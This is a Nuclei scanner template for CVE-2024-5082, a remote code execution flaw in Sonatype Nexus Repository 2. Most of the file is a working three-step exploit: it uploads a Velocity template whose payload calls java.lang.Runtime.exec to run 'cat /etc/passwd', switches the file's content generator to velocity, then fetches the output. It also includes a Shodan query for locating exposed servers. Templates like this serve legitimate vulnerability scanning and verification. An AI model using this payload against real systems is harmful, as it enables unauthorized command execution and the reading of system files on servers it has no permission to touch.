id: CVE-2024-5082

info:
  name: Nexus Repository 2 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-5082.
  reference:
    - https://github.blog/security/vulnerability-research/attacks-on-maven-proxy-repositories/
    - https://support.sonatype.com/hc/en-us/articles/30694125380755
  classification:
    epss-score: 0.01956
    epss-percentile: 0.78287
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"Nexus Repository"
  tags: cve,cve2024,intrusive,nexus,sonartype,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  username: "{{username}}"
  password: "{{password}}"
  credentials: "{{ username + ':' + password }}"

http:
  - raw:
      - |
        PUT /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Authorization: Basic {{base64(credentials)}}
        Content-type: text/xml

        #set($engine="")
        #set($run=$engine.getClass().forName("java.lang.Runtime"))
        #set($runtime=$run.getRuntime())
        #set($proc=$runtime.exec("cat /etc/passwd"))
        #set($null=$proc.waitFor())
        #set($istr=$proc.getInputStream())
        #set($chr=$engine.getClass().forName("java.lang.Character"))
        #set($output="")
        #set($string=$engine.getClass().forName("java.lang.String"))
        #foreach($i in [1..$istr.available()])
        #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
        #end
        $output

    matchers:
      - type: status
        internal: true
        status:
          - 201

  - raw:
      - |
        PUT /nexus/service/local/repositories/releases/content//.nexus/attributes/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(credentials)}}
        Content-type: application/json

        {"contentGenerator":"velocity"}

    matchers:
      - type: status
        internal: true
        status:
          - 201

  - raw:
      - |
        GET /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(credentials)}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: content_type
        words:
          - "text/plain"
# digest: 4a0a00473045022100d734926ba672de8f59d5c28ce03ea813ec30b12cd8c607c393380adab85fe1e50220246807cd4d3c73ed6fe01b8eb1c6ea02afd9dbd1fd87e46e0bb0cb984148e420:922c64590222798bb761d5b6d8e72950